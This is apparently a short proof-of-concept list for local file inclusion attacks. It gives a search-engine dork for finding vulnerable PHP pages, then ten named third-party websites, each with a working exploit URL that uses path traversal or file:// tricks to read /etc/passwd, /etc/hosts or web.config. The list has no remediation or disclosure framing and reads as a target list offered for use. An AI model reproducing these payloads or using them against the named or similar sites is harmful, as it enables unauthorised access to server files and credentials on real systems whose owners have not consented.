LFI POC
Dork for find Vuln websites:
site:*.*.com inurl:?page= filetype:php-----------------------------------------------------------
Site-1: staff.edmarker.com
https://staff.edmarker.com/index.php?page=/etc/passwd%00&f_id=735&target=Right-----------------------------------------------------------
Site-2: confituredebali.com
https://confituredebali.com/index.php?page=../../../../../etc/passwd-----------------------------------------------------------
Site-3: flyafac.com
https://flyafac.com/template.php?page=/etc/passwd&menu=include/mainmenu.inc-----------------------------------------------------------
Site-4: kohinoorgroup.co.in
http://kohinoorgroup.co.in/ViewFile.aspx?PressID=f9c9acd3-3c1a-490d-8a30-9570572ee9d7&FileType=Press&FileName=../../../web.config-----------------------------------------------------------
Site-5: www.sandhy.net
https://www.sandhy.net/news/index.php?link=/etc/passwd&id=20-----------------------------------------------------------
Site-6: gotoroumu.hpcontents.com
https://gotoroumu.hpcontents.com/view.php?page=/etc/passwd&-----------------------------------------------------------
Site-7: byue7799.com
https://byue7799.com/index.php?page=/etc/passwd&room_id=745-----------------------------------------------------------
Site-8: www.nicseducation.in
https://www.nicseducation.in/download.php?filename=//etc//passwd-----------------------------------------------------------
Site-9: www.metkon.com
https://www.metkon.com/download.php?src=/etc/hosts&filename=/etc/hosts&filetitle=/etc/hostsSite-10: exclusivecapitalrating.com
https://exclusivecapitalrating.com/proxy.php?url=file:///etc/passwdLast updated